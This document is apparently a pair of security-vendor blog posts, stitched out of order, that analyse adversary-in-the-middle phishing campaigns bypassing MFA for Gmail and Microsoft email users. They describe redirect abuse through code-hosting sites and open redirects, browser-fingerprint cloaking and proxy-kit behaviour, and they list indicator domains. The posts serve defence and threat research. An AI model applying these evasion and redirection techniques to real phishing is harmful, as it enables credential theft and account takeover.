Multi-factor authentication (MFA) process of Gmail intercepted by AiTM phishing kit Zscaler’s detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: HTML.Phish.Gmail Conclusion In this blog we described how the threat actor is leveraging AitM proxy-based phishing kits to target multiple email providers' users in enterprises. It is important to understand that such attacks are not limited to only Microsoft and Gmail enterprise users. An attacker can bypass multi-factor authentication protection on many different services using this method. Business email compromise (BEC) continues to be one of the top threats which organizations need to protect against. As described in this blog, the threat actor is constantly registering new domains and targeting more online services often used in enterprises. Even though security features such as multi-factor authentication (MFA) add an extra layer of security, they should not be considered as a silver bullet to protect against phishing attacks. With the use of advanced phishing kits (AitM) and clever evasion techniques, threat actors can bypass both traditional as well as advanced security solutions. As an extra precaution, users should not open attachments or click on links in emails sent from untrusted or unknown sources. As a best practice, in general, users should verify the URL in the address bar of the browser before entering any credentials. The Zscaler ThreatLabz team will continue to monitor this active campaign, as well as others, to help keep our customers safe. Indicators of Compromise Phishing domains *.angalosos[.]xyz *.mdks[.]xyz *.7brits[.]xyz *.fekir5[.]xyz *.bantersplid[.]xyz *.absmg[.]xyz *.wultimacho[.]xyz *.gsuiteworkstation[.]com *.thyxyzjgdrwafzy[.]xyz *.7dmjmg20p8[.]xyz *.appfolders[.]xyz *.4765445b-32c6-4-83e6-1d93765276[.]co *.aucapitalsci[.]com *.eaganins.click *.disturbedmidiagroup.click Intermediate URL redirectors Note: These are compromised websites *.southernlivingsavannah[.]com *.sunnyislesdental[.]com *.horticulturatanaka[.]com.br ripple-hirodai[.]com pathopowerreport[.]de pagliaispizzakv[.]com *.loftds[.]com *.sabtsaeen[.]ir *.jarrydrenton[.]com *.alphamediaam[.]ir *.hcapinfo[.]com *.gamea[.]ir Tue, 09 Aug 2022 08:00:01 -0700 Sudeep Singh https://www.zscaler.com/blogs/security-research/aitm-phishing-attack-targeting-enterprise-users-gmail https://www.zscaler.com/blogs/security-research/large-scale-aitm-attack-targeting-enterprise-users-microsoft-email-services Summary ThreatLabz has discovered a new strain of a large-scale phishing campaign, which uses adversary-in-the-middle (AiTM) techniques along with several evasion tactics. Similar AiTM phishing techniques were used in another phishing campaign described by Microsoft recently here. In June 2022, researchers at ThreatLabz observed an increase in the use of advanced phishing kits in a large-scale campaign. Through intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that are used in an active credential-stealing phishing campaign. This campaign stands out from other commonly seen phishing attacks in several ways. It uses an adversary-in-the-middle (AiTM) attack technique capable of bypassing multi-factor authentication. There are multiple evasion techniques used in various stages of the attack designed to bypass conventional email security and network security solutions. The campaign is specifically designed to reach end users in enterprises that use Microsoft's email services. Business email compromise (BEC) continues to be an ever-present threat to organizations and this campaign further highlights the need to protect against such attacks. In this blog, we describe details of the tactics, techniques and procedures (TTPs) involved in the campaign. Since the campaign is active at the time of blog publication, the list of indicators of compromise (IOCs) included at the end of the blog should not be considered an exhaustive list. Key points Corporate users of Microsoft's email services are the main targets of this large-scale phishing campaign. All these phishing attacks begin with an email sent to the victim with a malicious link. The campaign is active at the time of blog publication and new phishing domains are registered almost every day by the threat actor. In some cases, the business emails of executives were compromised using this phishing attack and later used to send further phishing emails as part of the same campaign. Some of the key industry verticals such as FinTech, Lending, Insurance, Energy and Manufacturing in geographical regions such as the US, UK, New Zealand and Australia are targeted. A custom proxy-based phishing kit capable of bypassing multi-factor authentication (MFA) is used in these attacks. Various cloaking and browser fingerprinting techniques are leveraged by the threat actor to bypass automated URL analysis systems. Numerous URL redirection methods are used to evade corporate email URL analysis solutions. Legitimate online code editing services such as CodeSandbox and Glitch are abused to increase the shelf life of the campaign. Phishing campaign overview Beginning in June 2022, ThreatLabz observed a sharp increase in advanced phishing attacks targeting specific industries and geographies. We identified several newly registered domains set up by the threat actor to target Microsoft mail services' users. Based on our cloud data telemetry, the majority of the targeted organizations were in the FinTech, Lending, Finance, Insurance, Accounting, Energy and Federal Credit Union industries. This is not an exhaustive list of industry verticals targeted. A majority of the targeted organizations were located in the United States, United Kingdom, New Zealand, and Australia. After analyzing the large volume of domains used in this campaign, we identified some interesting domain name patterns which we highlight below. Domains spoofing Federal Credit Unions Some of the attacker-registered domains were typosquatted versions of legit Federal Credit Unions in the US. Attacker-registered domain name Legit Federal Credit Union domain name crossvalleyfcv[.]org crossvalleyfcu[.]org triboro-fcv[.]org triboro-fcu[.]org cityfederalcv[.]com cityfederalcu[.]com portconnfcuu[.]com portconnfcu[.]com oufcv[.]com oufcu[.]com Note: Per our analysis of the original emails using the Federal Credit Union theme, we observed an interesting pattern. These emails originated from the email addresses of the chief executives of the respective Federal Credit Union organizations. This indicates that the threat actor might have compromised the corporate emails of chief executives of these organizations using this phishing attack and later used these compromised business emails to send further phishing emails as part of the same campaign. Domains spoofing password reset theme Some of the domain names used keywords related to "password reset" and "password expiry" reminders. This might indicate that the theme of the corresponding phishing emails was also related to password reset reminders. expiryrequest-mailaccess[.]com expirationrequest-passwordreminder[.]com emailaccess-passwordnotice[.]com emailaccess-expirynotification[.]com It is important to note that there are several other domains involved in this active campaign, some of them are completely randomized while others do not conform to any specific pattern. Distribution mechanism We have limited visibility into the emails used to distribute the phishing URLs. In some cases, the malicious links were sent directly in the email body; in other cases, the link was present inside the HTML file attached to the email. Figure 1 below shows an email which contained an HTML attachment with the malicious phishing URL embedded inside it. Figure 1: phishing email sent to the user with HTML attachment Figure 2 below shows the contents of the HTML attachment. It uses window.location.replace() to redirect the user to the phishing page when the HTML page is opened with the browser. Figure 2: HTML attachment used to redirect the user to the phishing page Figure 3 below shows an example of a phishing email in which the attacker sent the malicious link directly in the email body. Figure 3: Malicious link present in the email body We observed the use of a variety of URL redirection methods in a large number of cases. Instead of sending the actual phishing URL in the email, the attacker would send links that used a variety of redirection methods to load the final phishing page URL. We describe the details of some of these methods in the following section. Abuse of legitimate web resources for redirections Phishing sites were seen being delivered, redirected into, and hosted using numerous methods. A common method of hosting redirection code is making use of web code editing/hosting services: the attacker is able to use those sites, meant for legitimate use by web developers, to rapidly create new code pages, paste into them a redirect code with the latest phishing site’s URL, and proceed to mail the link to the hosted redirect code to victims en masse. These services provide flexibility to the attackers, since the contents of the redirect codes can be changed at any time. It has been observed that in the midst of a campaign, attackers will modify the code of a redirect page and update a phishing site’s URL that has been flagged as malicious, to a fresh undetected URL. The most commonly abused service for this purpose is CodeSandbox. Figure 4 below shows the most common redirect code hosted on CodeSandbox, utilized by the phishing site. Figure 4: redirect code snippet on an attacker-controlled CodeSandbox instance Figure 5 below shows an example of redirect code hosted on a similarly abused service - Glitch. Figure 5: redirect code hosted on an attacker-controlled Glitch instance. Many dozens, if not hundreds, of different CodeSandbox code pages were observed hosting different redirect codes to the phishing sites. Many of those pages were authored by a network of registered CodeSandbox users, letting us see the names of the Google accounts used for their registration. While most Google accounts we could find are anonymous throwaway accounts that are a dead end to attribution efforts, an internet search of a few account names tie some of the authors to older, more primitive phishing campaigns, and also show a history of engaging in cryptocurrency investment/recovery scams. Another method observed for URL redirection is the abuse of Open Redirect pages hosted by Google Ads and Snapchat. Figure 6 shows more details. Figure 6: different methods of URL redirection abusing Open Redirect pages Browsing to these links will immediately redirect the client to the URL specified in the GET parameter highlighted in blue colour. This method gives the attackers the benefit of being able to send emails with links pointing to these legitimate sites as the entry point, with the actual phishing sites’ addresses only appearing somewhere in the GET parameters, raising the likelihood of evading scanning of malicious URLs performed by email clients. Fingerprinting-based evasion This campaign utilizes a client fingerprinting process on all phishing sites that we will cover in this article. This process happens immediately upon the page being visited. The initial page clients are served consists of JavaScript code, ripped from the FingerprintJS project, whose purpose is to collect information from the client’s browser in order to help the site determine if the person behind the browser is in fact not an unsuspecting victim, but an unwelcome probing analyst or an automated bot. The script gathers identifying information such as the client’s operating system, screen dimensions, and timezone, and communicates its findings back to the site by WebSocket traffic. The complete list of information gathered from the client's machine is mentioned in the Appendix at the end of the blog. Figure 7: Client fingerprint data sent to the server over websocket With this information received, the site arrives at a verdict whether it should continue reeling in the client, or should it get rid of it by redirecting to the Google homepage. How exactly the site decides this is unknown since the logic is present on the server side, but it has been observed that browsers running in virtual machines are detected by examining the name of the client’s graphics driver, as exposed by the WebGL API. By default, VirtualBox and VMware make themselves known this way, and require some masking effort in order to pass this check, for example making use of browser setting `webgl.override-unmasked-renderer` on Firefox. In case the site does not find a reason to suspect the client, it will serve it an authentication cookie that the client-side code will proceed to save before reloading the same page, this time receiving the main phishing page by the site. Figure 8: Upon successful fingerprint process, site returns authentication cookie __3vjQ. Proxy-based AiTM phishing attack overview Traditional credential phishing sites collect the user's credentials and never complete the authentication process with the actual mail provider's server. If the user has multi-factor authentication (MFA) enabled, then it prevents the attacker from logging into the account with only the stolen credentials. In order to bypass multi-factor authentication, attackers can use Adversary-in-the-middle (AiTM) phishing attacks. All the attacks which we describe in this article used the AiTM phishing attack method. AiTM phishing attacks complete the authentication process with the actual mail provider's server (in this case - Microsoft), unlike traditional credential phishing kits. They achieve this by acting as a MiTM proxy and relaying all the communication back-and-forth between the client (victim) and the server (mail provider). There are three main open-source AiTM phishing kits available which are widely known in the community. Evilginx2 Muraena Modlishka Based on our research, we believe that the threat actor in this case used a custom phishing kit. In the following section, we highlight some of the unique attributes we identified in the client-server communication which differs from the common off-the-shelf AiTM phishing kits. We will not cover the technical details of how the AiTM phishing kits work in general since they are widely documented in the public domain such as here. Unique attributes of the phishing kit All advanced AiTM kits have in common that they operate as a proxy between the victim and the target site (Microsoft servers in our case). The kits intercept the HTML content received from the Microsoft servers, and before relaying it back to the victim, the content is manipulated by the kit in various ways as needed, to make sure the phishing process works. We observed several ways in which the phishing kit’s operation is distinguishable from the three open-source kits: HTML parsing It’s apparent that the phishing kit’s backend is making use of an HTML parser library, such as Beautiful Soup. We can deduce this by comparing the messy, unindented HTML code arriving from Microsoft: And the same HTML code as relayed by the phishing kit, tidied up and properly indented: It is likely that the phishing kit feeds the HTML it reads from the Microsoft server into an HTML parser, which creates a programmatic representation of the entire HTML tree. This allows a programmer to conveniently manipulate the different elements by interacting with the objects that represent them. Once the manipulation is done, the library produces an HTML output of the tree with all changes applied. This often results in a tidy output, as we see above. The three open-source kits don’t make use of HTML parsers, instead operating on the received HTML data just by using basic string operations. Domain translation One of the things the kits need to take care of is replacing all the links to the Microsoft domains with equivalent links to the phishing domain, so that the victim remains communicating with the phishing site throughout the phishing session. For example, Figure 9 below shows a side-by-side comparison of an HTML snippet. On the left is the original code as served by Microsoft, and on the right is the same code after it has undergone translation, on its way to be relayed to the victim. Figure 9: HTML snippets before and after translation The original subdomain (green), the original domain name (blue, minus the TLD), and a unique generated ID (pink) are joined together with dashes and become a subdomain under the phishing site’s domain (orange). This translation pattern, namely the 8 hexadecimal digits ID added to links, appears unique to this phishing kit, and is not used by the three open-source kits. However, there’s a case where this translation is not taking place. The Office 365 login page, as part of a feature called “Azure Active Directory Seamless Single Sign-On”, communicates with Microsoft server `autologon.microsoftazuread-sso.com` in order to load company-specific scripts to offer this feature to the authenticating client. The references to this server can be seen in this snippet of JavaScript, taken from the main Office 365 login page: For one reason or another, the phishing kit does not perform translation on the links to `autologon.microsoftazuread-sso.com` shown above, and they make their way to the victims intact. This results in the victim’s browser performing HTTP requests like the following, while loading the login page: Effectively “leaking” the phishing site’s address as the referring site inside a request to the Microsoft server. This opens up the possibility of detecting the kit in the act, if a victim’s HTTP traffic is monitored by network security solutions capable of deep packet inspection. Post-compromise activity To investigate the post-compromise activity, we set up an Azure AD instance in our lab with a dummy account and a domain controlled by us. We visited one of the live phishing URLs, supplied dummy account credentials, and completed the multi-factor authentication process. In one case, we observed that the attacker logged into our account, 8 minutes after we sent our credentials to the attacker's server. It is important to note that the attacker logged into the account from another IP address (different from the phishing domain's IP address). Based on the delay of 8 minutes in post-compromise activity, we suspect that the threat actor is manually logging into the account. Figure 10 below shows audit / sign-in logs from our lab's Azure AD highlighting the post-compromise activity. Figure 10: Azure AD sign-in logs highlighting post-compromise activity At the time of our investigation, we did not see any specific post-compromise activity performed by the threat actor besides merely logging into the account, reading emails and checking the user's profile information. Zscaler’s detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: HTML.Phish.Microsoft Conclusion Business email compromise (BEC) continues to be one of the top threats which organizations need to protect against. As described in this blog, the threat actors are constantly updating their tactics, techniques and procedures (TTPs) to bypass various security measures. Even though security features such as multi-factor authentication (MFA) add an extra layer of security, they should not be considered as a silver bullet to protect against phishing attacks. With the use of advanced phishing kits (AiTM) and clever evasion techniques, threat actors can bypass both traditional as well as advanced security solutions. As an extra precaution, users should not open attachments or click on links in emails sent from untrusted or unknown sources. As a best practice, in general, users should verify the URL in the address bar of the browser before entering any credentials. The Zscaler ThreatLabz team will continue to monitor this active campaign, as well as others, to help keep our customers safe. Indicators of compromise # Since the campaign is active at time of the publication and this threat actor is relentless in creating new domains almost every day, the IOCs below should not be considered as an exhaustive list. The complete list of IOCs can be found at our GitHub repository here: https://github.com/threatlabz/iocs/blob/main/aitm_phishing/microsoft_iocs.txt Appendix Client fingerprint collected {u'data': {u'appCodeName': <string>, u'appName': <string>, u'audioCodecs': {u'aac': <string>, u'm4a': <string>, u'mp3': <string>, u'ogg': <string>, u'wav': <string>}, u'automation': [<boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>], u'battery': <boolean>, u'cookieEnabled': <boolean>, u'debugTool': <boolean>, u'devtools': <boolean>, u'document': {u'characterSet': <string>, u'charset': <string>, u'compatMode': <string>, u'contentType': <string>, u'designMode': <string>, u'hidden': <boolean>, u'inputEncoding': <string>, u'isConnected': <boolean>, u'readyState': <string>, u'referrer': <string>, u'title': <string>, u'visibilityState': <string>}, u'etsl': <integer>, u'hardwareConcurrency': <integer>, u'hasChrome': <boolean>, u'javaEnabled': <boolean>, u'language': <string>, u'languages': [<string>, <string>], u'mediaSession': <boolean>, u'mimeTypes': [<string>, <string>], u'multimediaDevices': {u'micros': <integer>, u'speakers': <integer>, u'webcams': <integer>}, u'permissions': {u'accelerometer': <string>, u'ambient-light-sensor': <string>, u'ambient_light_sensor': <string>, u'background-fetch': <string>, u'background-sync': <string>, u'background_fetch': <string>, u'background_sync': <string>, u'bluetooth': <string>, u'camera': <string>, u'clipboard-write': <string>, u'clipboard_write': <string>, u'device-info': <string>, u'device_info': <string>, u'display-capture': <string>, u'display_capture': <string>, u'geolocation': <string>, u'gyroscope': <string>, u'magnetometer': <string>, u'microphone': <string>, u'midi': <string>, u'nfc': <string>, u'notifications': <string>, u'persistent-storage': <string>, u'persistent_storage': <string>, u'push': <string>, u'speaker-selection': <string>, u'speaker_selection': <string>}, u'platform': <string>, u'plugins': [<string>, <string>, <string>, <string>, <string>], u'referrer': <string>, u'screen': {u'cHeight': <integer>, u'cWidth': <integer>, u'orientation': <string>, u'sAvailHeight': <integer>, u'sAvailWidth': <integer>, u'sColorDepth': <integer>, u'sHeight': <integer>, u'sPixelDepth': <integer>, u'sWidth': <integer>, u'wDevicePixelRatio': <integer>, u'wInnerHeight': <integer>, u'wInnerWidth': <integer>, u'wOuterHeight': <integer>, u'wOuterWidth': <integer>, u'wPageXOffset': <integer>, u'wPageYOffset': <integer>, u'wScreenX': <integer>}, u'serviceWorker': <boolean>, u'timezone': <string>, u'userAgent': <string>, u'vendor': <string>, u'videoCodecs': {u'h264': <string>, u'ogg': <string>, u'webm': <string>}, u'visitorId': <string>, u'webRTC': <boolean>, u'webXR': <boolean>, u'webgl': <string>}, u'ftype': <string>} Tue, 02 Aug 2022 08:00:01 -0700 Sudeep Singh https://www.zscaler.com/blogs/security-research/large-scale-aitm-attack-targeting-enterprise-users-microsoft-email-services